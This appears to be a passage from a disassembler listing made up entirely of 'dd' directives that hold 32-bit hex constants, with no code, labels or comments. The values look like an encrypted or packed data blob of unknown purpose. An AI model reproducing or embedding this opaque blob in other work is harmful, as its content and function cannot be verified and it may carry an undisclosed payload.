		dd 3896D5h, 30B8504Ah, 40753A0Ch, 589064B8h, 0C404D320h
		dd 16FE930Ch, 370B8585h, 0C2A37E1Ch, 76579868h,	3C9A6025h
		dd 290EC099h, 0A7055DEEh, 50F6D38h, 7172DF0h, 97BD9DBBh
		dd 3C04310Dh, 0A4BE3E90h, 95428Ah, 583D2D92h, 0A5C54E7Fh
		dd 6FD3CC83h, 0DA10A13Ch, 0C5A04FB0h, 20F009DFh, 88860532h
		dd 8280102Dh, 0DFE489D4h, 5CADCAC7h, 1F362BAh, 818E19F5h
		dd 0BB9B162Eh, 9BF1330Dh, 29984085h, 64F6C20Bh,	4CFD89A9h
		dd 0CBE89DE0h, 0F1BFAC79h, 0E3596447h, 0E8C1011Dh, 50C83112h
		dd 0E15FD526h, 47BD7A52h, 86EA45F7h, 0E9133D05h, 28EF4026h
		dd 0FA9D21C5h, 83505A2Fh, 0D325DEA2h, 45D5A3C5h, 3210014Dh
		dd 0E9267DD2h, 50122B1Fh, 366F39AAh, 4FFC5A81h,	62CE1E02h
		dd 1E005BBh, 7851E972h,	2558C9A2h, 2EAFE4F1h, 98F54DFh
		dd 0B197D2E4h, 72FAA5D2h, 68EF2045h, 7F27AC74h,	999EF946h
		dd 82C63CE4h, 68EDD120h, 0EE6CD538h, 0F65EB309h, 88725441h
		dd 6614EDA2h, 62312736h, 78D3571Eh, 0F121CC01h,	1D618330h
		dd 9001EFCCh, 19CE69B9h, 43083D00h, 0EA952BB9h,	5F08050Dh
		dd 42277CF9h, 85A43A7Fh, 48A90724h, 0B754707Fh,	60ECD67Eh
		dd 0E1640437h, 10F30176h, 0F65E2708h, 85073BAh,	8CE0AD32h
		dd 5A40274Eh, 389B25EEh, 3EB29F29h, 0EB590C05h,	76E5B901h
		dd 0CC306D35h, 0A00D7EE3h, 97FB5AC1h, 92006B66h, 8150D70Bh
		dd 0FC1E44CDh, 432D64Eh, 0B4251949h, 10792FC6h,	53AC5A5Ah
		dd 0BCA011Dh, 0B2D2B77Ah, 176B6CF6h, 9364570Eh,	7F99620h
		dd 57411AB9h, 952CA42Dh, 6D98AE08h, 0C25915Ah, 4620E351h
		dd 20B26813h, 8478CCDh,	0AB4BB4h, 1612518Bh, 0D09F54E9h
		dd 96559504h, 4F5C777Ah, 0B501ACCFh, 99919904h,	2DD290Bh
		dd 19C2E9Ah, 705F5857h,	3B076183h, 0C729214Dh, 0B08548Eh
		dd 0ABE1AEE9h, 841809AFh, 116CFCDh, 228BA1CFh, 6DEF60F6h
		dd 27A7518h, 0FC614618h, 0D8E92D1Ah, 0FBF7BCE2h, 0F4FBCB56h
		dd 3778430Ch, 40A03EC3h, 0CB017489h, 5082208h, 16E2BEE9h
		dd 0A3EAA0A2h, 2F506112h, 0C0FEFAC4h, 587ADF52h, 9E2A7745h
		dd 93F25A61h, 533ABD00h, 0AABF4D68h, 0CB33513h,	0A7011285h
		dd 41DB6694h, 0BB73852Fh, 0ED085BE5h, 44684E3Dh, 5FA5F19h
		dd 0BC05D931h, 0E2C83304h, 481DFE20h, 0E3B7F7Eh, 0E9575D02h
		dd 6DC4C908h, 39EDD720h, 0EA1EDD88h, 13DF8959h,	929DA0CEh
		dd 13830A0Eh, 1CF37CADh, 29EDC164h, 0C059EB28h,	864C68C3h
		dd 0CBFB9238h, 40B42F97h, 0B74A29E4h, 0E1628A5Eh, 0F047C4FEh
		dd 3F0B418Eh, 0B7342BE0h, 0CB889D5Bh, 0E62D01D3h, 70165122h
		dd 0CC00D66Ch, 3605A566h, 0B556C83Ah, 70468C2h,	0CDA9BF5Bh
		dd 41680B0Bh, 0B02F6ED4h, 82FD330Dh, 43092580h,	4F715ACEh
		dd 234920FAh, 13D73D57h, 9E6F801h, 1C0FC310h, 92494E05h
		dd 2070FC02h, 97B28107h, 3EF9E155h, 0A9F15127h,	0BB56E960h
		dd 9FFDE84Eh, 0F8BB945Fh, 0CA1B5E7Fh, 0AF3610F7h, 5B09BE58h
		dd 3882D131h, 0EAD559CBh, 4F15C0DCh, 88EDED22h,	0E0689B42h
		dd 2E262E84h, 96406D24h, 1516BF41h, 0D3A78ABBh,	2F8BB5AEh
		dd 6CA1D3ACh, 87F64C3Fh, 68F023C9h, 9C1DE9A9h, 505B0EB7h
		dd 9E406FE9h, 27988804h, 7EF0E841h, 0B5FE4AE0h,	0DDADF413h
		dd 4009A992h, 0D0062F26h, 24C59DACh, 47D9088h, 8118EB80h
		dd 4492A80h, 0BA8026C7h, 50CC080Dh, 4429AE54h, 310BEF3Bh
		dd 0FD9B5A6Bh, 845DC089h, 0E1A5BCCBh, 649E5B24h, 522CA58Dh
		dd 0EC68C1A0h, 47D3950Eh, 34560502h, 18F7403Fh,	37F61C48h
		dd 0A78C6CE9h, 82759C7Dh, 0AFDB77B4h, 56505E84h, 0A61064A9h
		dd 0CB662618h, 9FC1308h, 1B77CD68h, 0FA1C1720h,	0A1FBE809h
		dd 329DBC66h, 0BD289ADh, 9938C655h, 13574B96h, 0F5F9E4C9h
		dd 3BDA24Fh, 63F4B1EAh
		dd 0F0BF8D2Dh, 7231E992h, 142E95BDh, 0A41DF36Bh, 0D7B6D8AAh
		dd 0CF5AE85Ch, 0DF712487h, 0EEEF25B0h, 6EBE63h,	630C5B9h
		dd 0CF5F210Fh, 382550A2h, 0C4CF17F1h, 1041CFCh,	587780D9h
		dd 7A95734Eh, 62E5BD5Dh, 4017A7CAh, 0BEA470ADh,	5C89FDF3h
		dd 0E95193D6h, 842AA93Ah, 27EB1820h, 0E1218592h, 38F79FCh
		dd 4A0C37CDh, 85F5B03Ah, 11363377h, 0AE9D7CCh, 0B856B41Bh
		dd 45090816h, 0A6BB79F9h, 9F20220h, 807F2FDCh, 0E9F1297Ah
		dd 6CB66A26h, 22C263Bh,	64174E7Ah, 0C93CC877h, 47430996h
		dd 0B1844176h, 7C788002h, 2E782A55h, 0DC6CC62Ah, 0FE4AC395h
		dd 0FEBF4A0Eh, 0D2ABF485h, 0D4E45F78h, 0D81ECB27h, 0A23AA858h
		dd 55C5175Ch, 64AD929h,	1A82BA0Ch, 5D042EDAh, 0FEE5D3E9h
		dd 671821AEh, 501093E6h, 70FCBE2Dh, 0E09AD333h,	3580DC07h
		dd 0B9090EBEh, 0C4812D1Ch, 6F89DD7Ch, 680A44E6h, 69FD4BE0h
		dd 0C01FCA7Fh, 2F45B6h,	0EE810EA5h, 617698Ch, 7A3AB0C1h
		dd 0EDF037C8h, 4EB07880h, 891D0B2Fh, 510BD052h,	2F6AB6E9h
		dd 1059AB1Ch, 9AA74794h, 0EBF95163h, 7F2EAD3Eh,	13B62549h
		dd 0D7CC3EEDh, 70CB50DAh, 9C0BB778h, 23D2C2FCh,	0CAE5C99h
		dd 0F7509328h, 6840FB49h, 88BA1D66h, 0F6050570h, 0C8CF823Ah
		dd 76F58709h, 5E2B2DC8h, 0AAEBC704h, 0E913A7F8h, 3D2DF540h
		dd 43DD2E15h, 8A9175AFh, 0B6416BB1h, 8C0DEEEAh,	0A87B3335h
		dd 8AE90CF3h, 0A303622h, 677568D8h, 0F8B2877Ah,	510B351h
		dd 81A2AA85h, 0D2DE982h, 44FBA56h, 2AD4ED3Ah, 0F25A04BAh
		dd 601540FDh, 73095D0Eh, 46DA9FEAh, 5F115320h, 5841AF46h
		dd 7DCA29A4h, 552E297Ch, 62B100FCh, 1E93008h, 0C014DDBEh
		dd 1BE650BEh, 0A0F18880h, 0C52BBCCEh, 0D1EDB99Ch, 6AF93107h
		dd 0CD271CCBh, 0F3ADD345h, 4EC6205Ch, 293A0B54h, 45006089h
		dd 27981A77h, 3EAC114h,	796D20B4h, 0F106C680h, 74270C68h
		dd 9265D428h, 0F62C44D8h, 829FD85Fh, 91BF3DD3h,	3A29FBC6h
		dd 804C4CE6h, 3D0EB34Eh, 6B37145Eh, 80BAC0D6h, 191B496Ch
		dd 643DA87h, 6B253053h,	3E156802h, 5FB4BBE9h, 0A0E2AD74h
		dd 0F1D60B88h, 442DE70Fh, 0E090A6DFh, 2D311ADh,	56A30516h
		dd 897EC0F1h, 3EB0634h,	6B422063h, 8CB2FFCDh, 0BD120585h
		dd 3E3B1F75h, 0F91269E6h, 0D8BBCF84h, 5D95C24Ah, 33688C01h
		dd 0BB307E1Dh, 980F542Dh, 98F3073Ch, 61758648h,	0C50AA5E3h
		dd 0D360AC3Ch, 87A7090Bh, 0FEA5E9E2h, 95B9DDE0h, 9AF671EAh
		dd 3110AAA4h, 0F638B200h, 5EE280D2h, 0FCAFE31h,	0C2E865EAh
		dd 0D0881C55h, 0BCC6135Ah, 0D44C9DD2h, 0CAC5EDBh, 28E8B252h
		dd 0D99DD827h, 616A00F0h, 0C9E92BF9h, 8C776AE5h, 575055B2h
		dd 3380CA20h, 214A119Bh, 1AA600E5h, 0E5BD0B8h, 0ACE40082h
		dd 261FBA63h, 2047F529h, 2FCBBA08h, 0CF71F721h,	1F153908h
		dd 0F9A5495Fh, 22E39875h, 6FB1808Ch, 52C1FE07h,	0C8C39AB6h
		dd 0C38B0234h, 7E7C1978h, 0BA08E1E2h, 97F82708h, 18FBD22Ch
		dd 386ED0C3h, 0E35B1753h, 0C7417416h, 5EEFE83Fh, 0EB2B6DB1h
		dd 7781240Fh, 4E592CADh, 0C7C9C719h, 0FB8F45D6h, 5BA2C4C8h
		dd 0AB27EAA1h, 4E309A93h, 0E762AEE5h, 72C5D75Eh, 572E8B90h
		dd 4F5518F1h, 0DBBFF001h, 50DE4592h, 1F0FFE9Dh,	0C246D788h
		dd 0D597FDE7h, 0AA682DA1h, 0D8C6B26h, 86294539h, 67CE926h
		dd 0BF2D4A10h, 0FA773586h, 0F3194F88h, 91AC5B49h, 966BAC4Eh
		dd 0EF1C1AF3h, 94552D01h, 21719713h, 6CE9F761h,	49880C2Fh
		dd 641F5CDAh, 0E2AD9988h, 0F15C5771h, 99D5C6D0h, 5F700222h
		dd 427F0520h, 5896DAA5h, 72224FEh, 219ACFDFh, 0C09BCA10h
		dd 2C03BBACh, 421C1DE1h, 64F6CA2Dh, 0F95A5BA8h,	6824A8B3h
		dd 903AA8B8h, 6F02405h,	42D30248h, 447A120Eh, 1C400883h
		dd 4430E914h, 7DCFB5B9h, 1FE72704h, 0C643E480h,	0F7250949h
		dd 0AA34C85Eh, 7B72061Eh, 39E1D8E9h, 77B8E70Dh,	0F7022A4Bh
		dd 0E945772h, 8768570Bh, 83BE5D64h, 0E49E5F5Eh,	37E2904Bh
		dd 4C95FEF5h, 606796D6h, 0F759CA21h, 0C52C7798h, 0F48F402Fh
		dd 0B9CE0E08h, 52C8F3A1h, 0C3960E4h, 34E33892h,	3A04015Ah
		dd 5D098C32h, 1720166Ch, 9FDC9D39h, 0C5A5D278h,	80C88422h
		dd 0FED94B5Ah, 95B60F80h, 592D43F0h, 69924440h,	7F5A233Ah
		dd 0F1B70E7Ch, 0A7CEA590h, 3BE95009h, 5E78E6A3h, 5F2F0972h
		dd 29984B39h, 0F6342DF0h, 5240D2A2h, 0D7A80C65h, 590FBB53h
		dd 866B9820h, 0F85A875Dh, 68F6EE55h, 0BF7795Ch,	6EDF8C05h
		dd 205703FBh, 0E1C12571h, 0C8DDA1DCh, 99BFC9B4h, 0A17A45C2h
		dd 81078056h, 8A56F7CDh, 26D7983Fh, 31F65EF8h, 2D0D2E74h
		dd 16EB5B8Fh, 376805AEh, 496BE2FEh, 387C2571h, 0FC89C10Eh
		dd 68363C90h, 0CD1862A5h, 0F780DDFDh, 0DF50C8D3h, 4F896805h
		dd 5A6AA049h, 5EF22D56h, 0A1255C25h, 8DF86A2Fh,	0ECC6EF4Ah
		dd 1A5E97BAh, 74202328h, 0B36817BAh, 0CC438D1Ch, 3E58B22Ch
		dd 473605EFh, 94FA1732h, 5E080676h, 6AF19829h, 0FEBD1401h
		dd 37B260Fh, 714FBCCEh,	0B5E18190h, 0F4383A2Fh,	0B850012Ch
		dd 42F60545h, 457C1692h, 269BBE00h, 3BF0ED5h, 8AA39EB2h
		dd 6416F729h, 33005FFBh, 3D830B6Eh, 0ED8F5AE9h,	719D76B9h
		dd 0ECE40862h, 7FC05F25h, 61188724h, 0C73E51C3h, 329E0454h
		dd 79DBE9h, 403F7BAh, 0A8C6900Bh, 2D424E2Ch, 77CE6FDDh
		dd 0BEA6CF04h, 91AF897Bh, 0A54CE921h, 40DE6A71h, 2F4DDB4Dh
		dd 0E9CC2770h, 8FB22901h, 5A9668D8h, 0ABD27C68h, 67E97F81h
		dd 5E306D2Ch, 6AF9684Fh, 56441A9Eh, 9F95F4ABh, 527BCB9Ah
		dd 66176870h, 1FE1527h,	0AC36C165h, 4CC9207Dh, 0C9E03138h
		dd 93E9130Fh, 75590482h, 0D769F545h, 5D448AF9h,	0A3FB20EAh
		dd 4B02105Fh, 0D368CE01h, 0A1BCF147h, 0BB59130Fh, 7BB2F290h
		dd 0E21E5BB3h, 1E772C4h, 0E42A7768h, 5A605CBEh,	14A1F269h
		dd 56702602h, 900E1303h, 0D62D8B31h, 4E460704h,	42B0EEC1h
		dd 709E24F3h, 10702757h, 55092DE6h, 8919662Ah, 7086DE33h
		dd 0BE8086C7h, 406619EDh, 30F4E228h, 2925EAB5h,	601D51F1h
		dd 3C08A8C9h, 51E97C1Ch, 6B81AEA8h, 5904F290h, 181A68AAh
		dd 0C8A57F78h, 811D253Eh, 4AD531BEh, 951A1BE0h,	0D695FFEEh
		dd 8BBF5CC2h, 92C5D748h, 99674DA4h, 305A03F8h, 0DD9B58E3h
		dd 0AAB4FCDBh, 0D9794031h, 7A20BC06h, 0D0F716A8h, 45A21E91h
		dd 0FE6F0277h, 0BB4146E1h, 1CF1A19Fh, 16C29A60h, 0AB540661h
		dd 81222C4h, 0E98588EAh, 9C152F35h, 697223FEh, 0FB6B67A5h
		dd 6EA1DDECh, 21276E6Fh, 0CB467B82h, 0E2D0F191h, 0F1EE293Bh
		dd 471E644Ah, 33B4F4B7h, 7DA88108h, 685ECA40h, 1A95D0A4h
		dd 84F20F0Ah, 5E53A9DFh, 0CAA00994h, 0A2C9DE5Ch, 0BB50EB4h
		dd 566590F7h, 511724F9h, 7937022Dh, 285F2936h, 590608ECh
		dd 0E6A8F389h, 5A517C94h, 1304EB7Fh, 0AB12219Ch, 0FE925DA2h
		dd 60F83988h, 926705Fh,	1582193h, 8AD62F72h, 6ECEB9Fh
		dd 55E3FE53h, 0C7149113h, 0A937ACBEh, 0D3A8A37Ah, 4B1207D1h
		dd 4BDE8738h, 685FF114h, 4BB75381h, 806EA05Ch, 0C2E67DF2h
		dd 0CA1FED4Bh, 0B45051C6h, 640B26CAh, 7D238511h, 17F2C1D6h
		dd 8ACC3BC3h, 25F64B7Eh, 0F88BEED6h, 0FBE90C62h, 6177376Ah
		dd 0E63E1535h, 0B43C6040h, 395152FBh, 5F4CE188h, 6651094Eh
		dd 0DE56BE82h, 3231568h
		dd 14DAE78h, 0A27215AFh, 439E50F9h, 5D25145Bh, 9D211481h
		dd 8C42426Eh, 5E5DD008h, 0E9524176h, 5ED278BEh,	0DFEF49FEh
		dd 85B69158h, 0E5FE48E9h, 785997FCh, 0EF07E441h, 28CEF6FEh
		dd 61EE0407h, 0AE46D570h, 817EF94h, 0A84F64AEh,	0EFEC4A95h
		dd 0F104EAB5h, 29EE0B40h, 58576814h, 5D515451h,	0EEEA8326h
		dd 0D8402A90h, 5AD0A1D4h, 0BBD8B3Bh, 0FE081AE9h, 7D068939h
		dd 0F6E3CC55h, 1279B463h, 8BE1BF2Dh, 308CD23Eh,	0E10ED75Ah
		dd 13217968h, 9C0CAEAh,	0DC88E9D9h, 0EBC39680h,	9A164BC4h
		dd 0F674CBF5h, 0B3736BE9h, 9E8325D5h, 616812F0h, 0EFE971E1h
		dd 4FA5450h, 10F85C8Fh,	0FFF92DF7h, 0FA2C2A84h,	19D6BBA3h
		dd 6D5D5766h, 4EF4BEFh,	0BFBA52C0h, 0B27FCEA1h,	965825ECh
		dd 49E91251h, 77FFF99Ch, 9705E14Ah, 9FC2F929h, 0F2BFC851h
		dd 0D79242Ah, 0C507A08Eh, 0ADF548B0h, 0BBEB0549h, 3FC8250h
		dd 5892F400h, 0F083E915h, 8B52EFD6h, 0D44DC4BBh, 0B83CEA2Dh
		dd 0F322B7FEh, 1754D315h, 7758C309h, 21EADAA4h,	0A907C5F0h
		dd 96D018A2h, 2F78F09h,	7F536D1Ch, 97C6F58Fh, 0EA4B8D1Fh
		dd 0D8BA2A62h, 60E2BD6Dh, 39A6C7A2h, 68E58FA0h,	45B52669h
		dd 5AD8A55Ah, 200DFBBDh, 310418Dh, 62B14C86h, 971E6B18h
		dd 3FBE5462h, 0FEEB2F82h, 0CD3CECEh, 5501D2BBh,	0C3F4D77h
		dd 0C10A1B74h, 5305E600h, 0EC25C8BBh, 58E3F211h, 0F7525302h
		dd 80C06464h, 98E94688h, 0D99F8454h, 0CC573BFh,	0E6FF7399h
		dd 6410019Dh, 0AE30796Ah, 610DD5A9h, 0FCFBA517h, 806991Ah
		dd 3E884E70h, 2D82F6ACh, 1B2C2A4Dh, 1D3627Fh, 0F9A3E907h
		dd 3D9E6C78h, 0C31EBF2Eh, 104848CDh, 862D03FBh,	48D2F6D7h
		dd 0F34CB608h, 68B7025Eh, 9BD12F5Fh, 0BF4FD58Fh, 0A10BFBAFh
		dd 207320D1h, 41489A86h, 639F0118h, 0F1314A52h,	0FD7F67F8h
		dd 0AFBA4F40h, 78953F43h, 31FFD0AFh, 0F24C151h,	792E0BB9h
		dd 9CD666A2h, 377C281h,	0A53B46F8h, 1008047Fh, 290417D4h
		dd 0BACAE9DAh, 552455F7h, 23278940h, 4F85519Ah,	13C6E269h
		dd 498E568h, 0A59F5978h, 9A9E4C4h, 50DBD65Ah, 0FC95ED68h
		dd 265A603Ch, 0BB0520D8h, 0DC099FAh, 71227EC2h,	2E6804D1h
		dd 6E419257h, 7D048B5Fh, 824AA765h, 7F459814h, 532B7E0Bh
		dd 0EE6CA57Ch, 0F0D0818h, 0BF29D244h, 0E46C0BB1h, 6F23E9B0h
		dd 0FABE83C0h, 956B8D73h, 5D07F1E4h, 76A2BF57h,	0A8EA2964h
		dd 570627DAh, 5B69ECA0h, 0C7EC1748h, 4D62D209h,	12D1D659h
		dd 5F5B818Eh, 79617F89h, 0C261455Ah, 830429E5h,	0C1CCC284h
		dd 2E2DD12Fh, 3DE9B7D0h, 62C0B6DDh, 0F50948CCh,	0B589E179h
		dd 4F803062h, 44A39EE5h, 2AA8C2B7h, 5A1F15D0h, 0B49FB01h
		dd 0AE90F55Bh, 68807526h, 0A30D4F50h, 0F48FCE1Ah, 0F2BFB40Ah
		dd 6C06930Dh, 0BF8BD052h, 66C03EEBh, 6ABD61A0h,	820809B1h
		dd 5F0840C6h, 33464AD4h, 0E6C0133Fh, 929ED04h, 0DFF0280Dh
		dd 0F377D842h, 8D129F9h, 531DD4C2h, 48ACFD92h, 7AD3B14Bh
		dd 83C33CBh, 0D78692C1h, 97059BA0h, 0CB3A9056h,	0D29A1FABh
		dd 2D48F075h, 1274F69Dh, 0A6CCBC59h, 685A4074h,	0A970B129h
		dd 0D3C990B1h, 0DDF82801h, 0EFF46F5Eh, 40E9BCC6h, 1A42B1CEh
		dd 20A07448h, 3278B595h, 3E9CDC97h, 2FDCFC18h, 600204F7h
		dd 0E7C13FFAh, 0DAD8007h, 59C7D62Dh, 0DB04C857h, 0EB56B31Ah
		dd 713BEC4h, 2CAB6A12h,	0AB853C6h, 0CF4CD373h, 0A43F0439h
		dd 0B0AF8EB3h, 1E07E339h, 0E913B84Ch, 369361E5h, 323F5868h
		dd 8287307Ch, 29CC8018h, 0D170C4E6h, 0A757E35Eh, 451C00A8h
		dd 737C65FEh, 67F8C0CDh, 15702ECh, 540768DFh, 0F82B5ECh
		dd 5A87C2DDh, 407AE715h, 6C78E774h, 0DB901A9Bh,	6F2810C2h
		dd 0B9984079h, 0C3D9B714h, 68C8B682h, 0E923481Dh, 0FEF12728h
		dd 92F8EDD5h, 0AF88FB5Ch, 9453F2Ah, 0FBE5D117h,	8A513E02h
		dd 997C7512h, 7B2CD9ACh, 0D8B7C64Eh, 0CDD19562h, 0D83AE9C2h
		dd 51AC0056h, 0D1F6F4B1h, 758E1C0h, 30DA026Ah, 0C0805BF9h
		dd 535C6820h, 0B73A8E42h, 0B417EA48h, 84D9B222h, 1A144EF4h
		dd 121A9F17h, 5A84B875h, 87C9BEF9h, 6850C776h, 8C214B70h
		dd 9352E479h, 1A3317FEh, 2B856DFFh, 510838EEh, 25F75048h
		dd 9C3CABFh, 0D022F5A1h, 0CF605559h, 0CE4A46ECh, 2135FB0h
		dd 0E93339FAh, 0E7FE62E2h, 0ECD4518Ah, 0AAF20163h, 7220D634h
		dd 9C7579D7h, 0C89452E9h, 4E5E32A9h, 3816ACB3h,	0C78CAD9Ah
		dd 0D005172Ch, 549DB60Bh, 9B5F349Eh, 9EE9129Eh,	4B0B2695h
		dd 1BAA55EFh, 56E6120Bh, 0C59DAEE8h, 5F724ACEh,	5628FFD3h
		dd 4F87FD40h, 0B40A370Ch, 0D6F70245h, 3B2E6046h, 4E5185Fh
		dd 1A5C9B56h, 592C4B1Fh, 5007E9D4h, 0AB5E96A3h,	317F45A3h
		dd 0DD4F6C2Bh, 352C7081h, 0C148AA1Dh, 0ED0337A6h, 0DDEF3E95h
		dd 0D68D1CFBh, 13EF0BDFh, 7BA5B0FFh, 2F5E81BEh,	7E5036C1h
		dd 435A81CBh, 0E10FC67Ah, 3B936815h, 0C7F013CDh, 0D5C27F22h
		dd 0B1F842F0h, 1F387BB4h, 0CA5C80E2h, 5823EAC0h, 9F6F1668h
		dd 20C18D99h, 0D99D869Ch, 0E9708761h, 315D3B20h, 0EF2A5B90h
		dd 5B803A36h, 9850F2CEh, 9B3FBD66h, 5236024Ah, 0EEC008B8h
		dd 4B9AD294h, 3FB36EA1h, 8CB1EF12h, 0CFFDE22Bh,	42D79CDCh
		dd 813D00FEh, 763D02E6h, 9AE92609h, 0E4AA7E84h,	1205BD10h
		dd 56AD0F43h, 5B3EAB10h, 0F8200792h, 626F978Eh,	0E256F612h
		dd 52DD9CBFh, 6C685105h, 0E0EB5A30h, 160ABAF6h,	83E90B55h
		dd 2D32FF27h, 3440B674h, 981AF618h, 0E7C53888h,	8EF7E525h
		dd 2827D69h, 74777DE9h,	0CC2F403Eh, 0F1B58976h,	0D2F46B38h
		dd 50575627h, 474E53E9h, 681F73B7h, 0CFC62DACh,	50490167h
		dd 0C82FF1E0h, 2D580441h, 87E16569h, 41624B28h,	824C16DFh
		dd 7703ABB3h, 687CABCCh, 4CE51553h, 7D8F107Ch, 0BB8FF04Bh
		dd 80490D25h, 62FC915h,	3FD89703h, 2B0FCBFh, 2744F361h
		dd 509D24F0h, 0E02905A0h, 0B177E942h, 4C8B3E28h, 6546257Fh
		dd 5C86D7EEh, 3B14FA20h, 719DCBFEh, 0BAA065F9h,	5BB2F181h
		dd 1907963Fh, 593414F2h, 29C4CC68h, 14C8B84Fh, 96D64C4Bh
		dd 0D2F75421h, 0C99AD882h, 50D2E98Ah, 37FB0420h, 243CCA31h
		dd 42BE1298h, 0C44727DAh, 0D4BDAEF0h, 3CEB397Ah, 1D324A90h
		dd 98F19BDh, 0C3A8492Bh, 25C28ECAh, 184016FFh, 0EADCA0E9h
		dd 43D0E829h, 72F82DCDh, 88769DABh, 25ADAB79h, 159ED7h
		dd 2D2FBF57h, 0EFC127EAh, 83470825h, 0BB6B4006h, 670DF4Fh
		dd 0E9B850h, 3543A574h,	4239767Fh, 564C2D0Eh, 0EB924Bh
		dd 59A42534h, 5073D94h,	4CFE09D5h, 320895E0h, 93529751h
		dd 9A0DCD20h, 595A4C6Eh, 0B8B34D31h, 0F622DF4h,	0F2347506h
		dd 0D11CFDE8h, 0EDE692EEh, 62470101h, 2FE93D0Eh, 0BBBDE24h
		dd 5FF156FCh, 5D586C58h, 62EF4ACEh, 0FAA0453Fh,	0D038C4BAh
		dd 0E2C12F0Ch, 0C0020604h, 95464FE8h, 0C21E3101h, 30F29FE9h
		dd 1E60545Fh, 0D75B27E1h, 53CEB30Bh, 41133D6Dh,	0C4F2BC87h
		dd 810044FEh, 0F7155AE1h, 182D687Bh, 85669D8h, 6B099B79h
		dd 31027A2Eh, 4CE15FFDh, 52B10516h, 821A992Bh, 0B94D6706h
		dd 20767C06h, 3CF8B707h, 950D5ED6h, 0A26F0AC9h,	233A2CBh
		dd 55C2DFE9h, 6304190Fh, 0FF8ABE79h, 56BDF020h,	7D5959BBh
		dd 63C88B9h, 24BAE9E7h,	9AB1BEE2h, 0F7E43117h, 2CDB655h
		dd 6946685Dh, 95320B48h
		dd 885FD1B5h, 0C100B5F7h, 1D0503E0h, 62450355h,	0D72E4B0Dh
		dd 0FEA5AAADh, 62FF83FCh, 0BA248E6h, 68DE5957h,	36AE82A5h
		dd 0E7D04D51h, 0E07F0782h, 242E8801h, 4B72804h,	81FBD184h
		dd 64F64A07h, 53955BE9h, 455DC943h, 0CC281586h,	0D8E5582Fh
		dd 0D5A8983Fh, 1F6811Eh, 0E854FA57h, 7E5EF309h,	6483F1A1h
		dd 28DE0EAAh, 127CE3CBh, 5AE63C02h, 0ECD901A7h,	4C5DA3F2h
		dd 4C26E3FFh, 35BE8149h, 0E94B7D6Ch, 52CD9A5Eh,	25FF7C9Ah
		dd 0FD720471h, 0FF62DA90h, 5838F59Dh, 7083AABh,	20DA2949h
		dd 0E6AC408h, 0A1680263h, 8C3FC662h, 443BED89h,	6AEF14h
		dd 74295DBEh, 0AE8FA076h, 2E753048h, 0A3695C5Ch, 3E780D67h
		dd 5C4D6662h, 0D008A0C2h, 0F248141Ch, 0B93F2F18h, 801EBDB2h
		dd 0F3CBDEE2h, 9677DBA2h, 0B30204CEh, 0FB7FAE3h, 0FA895013h
		dd 7927BB8Ch, 0B555F437h, 140F0B6h, 38925E9h, 2029306Ch
		dd 3116C99Dh, 0C1C38D91h, 97792AE4h, 820C2DEh, 365C7C95h
		dd 0DE9F2CD2h, 5157C94Fh, 920F6A56h, 553B0D3h, 0D6BEFAB5h
		dd 0C942BEA4h, 5A7E2BE9h, 0B395204Fh, 420E5D4Fh, 82442902h
		dd 0A7684C6h, 5F493EF3h, 6996F503h, 0EDB0216Fh,	0C02F46EBh
		dd 0C065C5Ah, 0DFABF382h, 0E234AC1h, 0FEC53176h, 68A0E538h
		dd 129151E1h, 266FD2A5h, 0C4579C7Eh, 61E3E597h,	259F6C06h
		dd 6D332630h, 0BF877C9Bh, 0A4FEF56h, 0F108B5FAh, 0AB2912B4h
		dd 0CE660F27h, 4ACF9F34h, 0D4E240B1h, 183C762Eh, 5450AC25h
		dd 0F766E10Bh, 0A5A328F9h, 4683AB0h, 15CB5B21h,	64FCAE59h
		dd 3D230193h, 85569677h, 7A10F518h, 2FA1C0FAh, 0C2490842h
		dd 3DE05556h, 5FFB856Ah, 1A3EF3BBh, 75DED784h, 0DC0F1C76h
		dd 0F6AB13C6h, 9531569h, 6855046Ch, 0F0F86F99h,	0FEDB5DC2h
		dd 0FDF01B64h, 81EA415Ch, 6A20BAABh, 8493EC2Eh,	14EA98E9h
		dd 62C0FA12h, 0BE6FA42Fh, 800B6669h, 827FE6F7h,	0D6292C44h
		dd 26F100D2h, 0F793765Eh, 534CD379h, 6BEE41C1h,	8AEA0113h
		dd 0E2CB92F4h, 3B92661h, 6F69E568h, 0A0335700h,	19534952h
		dd 0B1C11DE9h, 0D65022FAh, 0E2E490A1h, 1A2A032Eh, 0D1DAF71Ch
		dd 61E956C0h, 0C57B0860h, 2F1ED911h, 2D5431F3h,	5E191809h
		dd 76B08247h, 958F7C01h, 9570B4A9h, 0AE783504h,	0C9BF3893h
		dd 0EBBFC1Eh, 0FEDDE5CBh, 3A417209h, 82A86F55h,	5F89FAD4h
		dd 0F17DA942h, 2D2F0942h, 1BA73490h, 4B35410Bh,	7FD0051h
		dd 25AA3342h, 2EC02CE9h, 710774BFh, 0FA316634h,	0BDACA9C4h
		dd 1719F74Eh, 74C8C5B3h, 2C9C6D50h, 41532314h, 27352CDFh
		dd 61FAD158h, 69CC36E9h, 1D2807B0h, 19B23CD8h, 6E5980F1h
		dd 9741FA5Ch, 7082F49Ah, 0D3F7FEE3h, 122DA8DAh,	47BE522Eh
		dd 65235633h, 0AB0AAF57h, 612D08C6h, 0E37E118Bh, 0F65C82B1h
		dd 336A7DE9h, 0A189C2FCh, 89B571BDh, 0FF14090Eh, 7F4B64F6h
		dd 0F92C630h, 0DA3B5C42h, 0DE90145Bh, 6268210Fh, 4B044F6Bh
		dd 0B9BD0734h, 0F51D41E2h, 6A7CD2C0h, 73015582h, 2A043CA8h
		dd 0C4EEB2C5h, 2912EAA2h, 82A52CBEh, 5C532140h,	4410D088h
		dd 0F7800E85h, 0FEEF6F83h, 5F1791D9h, 5C28ABD9h, 0D1DD315Bh
		dd 0CD8700D3h, 5783A959h, 1EABC420h, 5F4CA756h,	301277CFh
		dd 0E9B358A9h, 4ADA3431h, 0E521E3D1h, 3E1BC87h,	45E5CF09h
		dd 0F1B6EE32h, 78BF2A7Bh, 8151308Dh, 4475C7D0h,	286C5A4Ch
		dd 53A107F7h, 0F32800EAh, 0EDB00350h, 2B0CD8F6h, 0C38049E8h
		dd 0C7FB264Eh, 0ECE951EDh, 930963Dh, 128E1EACh,	0BE4A10h
		dd 42EF117h, 0FFED3E45h, 5C743998h, 5F5A849Eh, 0E90A7274h
		dd 0DEB08EA5h, 51F96701h, 5944CD1Eh, 49E90804h,	0C71C3FB8h
		dd 69672D03h, 68D140ADh, 0E94540CFh, 0BB95072Eh, 6E15AF40h
